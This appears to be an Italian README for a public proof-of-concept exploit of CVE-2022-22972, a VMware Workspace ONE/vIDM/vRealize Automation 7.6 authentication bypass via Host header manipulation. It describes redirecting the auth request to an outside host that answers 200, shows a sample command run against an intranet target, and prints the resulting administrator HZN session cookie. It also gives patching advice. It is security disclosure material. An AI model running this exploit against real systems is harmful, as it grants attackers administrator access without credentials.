
Exploit proof-of-concept per CVE-2022-22972 che bypassa l'autenticazione in VMware Workspace ONE, vIDM e vRealize Automation 7.6 tramite manipolazione dell'header Host.
POC per CVE-2022-22972 che interessa VMware Workspace ONE, vIDM e vRealize Automation 7.6.
Un'analisi tecnica delle cause profonde della vulnerabilità è disponibile sul nostro blog: https://www.horizon3.ai/vmware-authentication-bypass-vulnerability-cve-2022-22972-technical-deep-dive
Questo script può essere utilizzato per aggirare l'autenticazione su vRealize Automation 7.6 tramite CVE-2022-22972. Workspace ONE e vIDM hanno endpoint di autenticazione diversi, ma il nodo centrale della vulnerabilità rimane lo stesso. Saremo lieti di accettare pull request se disponete di articoli di test per verificare il flusso.
Questo script funziona modificando l'header Host di una richiesta HTTP POST di un endpoint di autenticazione VMware verso un Host controllato da un attaccante. Ciò induce l'applicazione VMware a contattare l'Host con le informazioni sulle credenziali e, se l'Host restituisce 200, l'utente viene autenticato con successo.
Questo script produce un cookie HZN che può essere incluso nelle richieste successive per eseguire azioni come utente compromesso.
NOTA: Gli argomenti predefiniti dello script invieranno la richiesta di autenticazione al nostro gateway API AWS, configurato per rispondere con un 200 per l'endpoint specifico menzionato nel blog. Puoi modificarlo con l'opzione --host. Questo endpoint non riceverà alcun dato sensibile durante il flusso di exploit: solo una richiesta dall'applicazione vulnerabile con l'header di autenticazione fasullo a cui risponde.
dev@ubuntu:~/vmware/vra/exploit$ python3 CVE-2022-22972.py https://vra-app01.vra.intranet
Extracting state from vcac redirects...
Sending POST to auth endpoint
HZN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJqdGkiOiJiM2E3MDJiOS01NjJkLTQwODgtYTg2Ny0xZjY5ZWE4YjAyZjMiLCJwcm4iOiJhZG1pbmlzdHJhdG9yQFZTUEhFUkUuTE9DQUwiLCJkb21haW4iOiJ2c3BoZXJlLmxvY2FsIiwidXNlcl9pZCI6IjMiLCJhdXRoX3RpbWUiOjE2NTM0MjUwOTAsImlzcyI6Imh0dHBzOi8vZWkzd3B0OTEwMC5leGVjdXRlLWFwaS51cy1lYXN0LTIuYW1hem9uYXdzLmNvbS9TQUFTL3QvdnNwaGVyZS5sb2NhbC9hdXRoIiwiYXVkIjoiaHR0cHM6Ly9laTN3cHQ5MTAwLmV4ZWN1dGUtYXBpLnVzLWVhc3QtMi5hbWF6b25hd3MuY29tL1NBQVMvdC92c3BoZXJlLmxvY2FsL2F1dGgvb2F1dGh0b2tlbiIsImN0eCI6Ilt7XCJtdGRcIjpcInVybjp2bXdhcmU6bmFtZXM6YWM6Y2xhc3NlczpMb2NhbFBhc3N3b3JkQXV0aFwiLFwiaWF0XCI6MTY1MzQyNTA5MCxcImlkXCI6M31dIiwic2NwIjoicHJvZmlsZSBhZG1pbiB1c2VyIGVtYWlsIG9wZXJhdG9yIiwiaWRwIjoiMiIsImVtbCI6ImFkbWluaXN0cmF0b3JAdnJhLWFwcDAxLnZyYS5pbnRyYW5ldCIsImNpZCI6IiIsImRpZCI6IiIsIndpZCI6IiIsInJ1bGVzIjp7ImV4cGlyeSI6MTY1MzQyNjg5MCwicnVsZXMiOlt7InJlc291cmNlcyI6WyIqIl0sImFjdGlvbnMiOlsiKiJdLCJjb25kaXRpb25zIjpudWxsfV0sImxpbmsiOm51bGx9LCJleHAiOjE2NTM0MjY4OTAsImlhdCI6MTY1MzQyNTA5MCwic3ViIjoiYWQzODkzODEtNTRmNS00ODFkLWFmNWEtOWZjNmIzOGI0NzQ0IiwicHJuX3R5cGUiOiJVU0VSIn0.Kkq2UnmqpW6yJb3GGCp7dSXc5PlU1y8YyDULIYLHIvYlB3OC4j5xFDy91a2tk4bi1lAUITymV-NUgweoCl15LXFVfBFYLEs-OAvMLKZhhGnFF-BrxmyYLPJutkxsi-gL0rF4VmYykuYw9tdUY2DghWiGGZ6QTYOts21QUzcvU-8
Set the HZN cookie in your browser to bypass authentication
Aggiornare all'ultima versione o mitigare seguendo le istruzioni contenute nel VMSA
Questo software è stato creato esclusivamente per scopi di ricerca accademica e per lo sviluppo di tecniche difensive efficaci, e non è destinato a essere utilizzato per attaccare sistemi se non esplicitamente autorizzati. I maintainer del progetto non sono responsabili dell'uso improprio del software. Usalo in modo responsabile.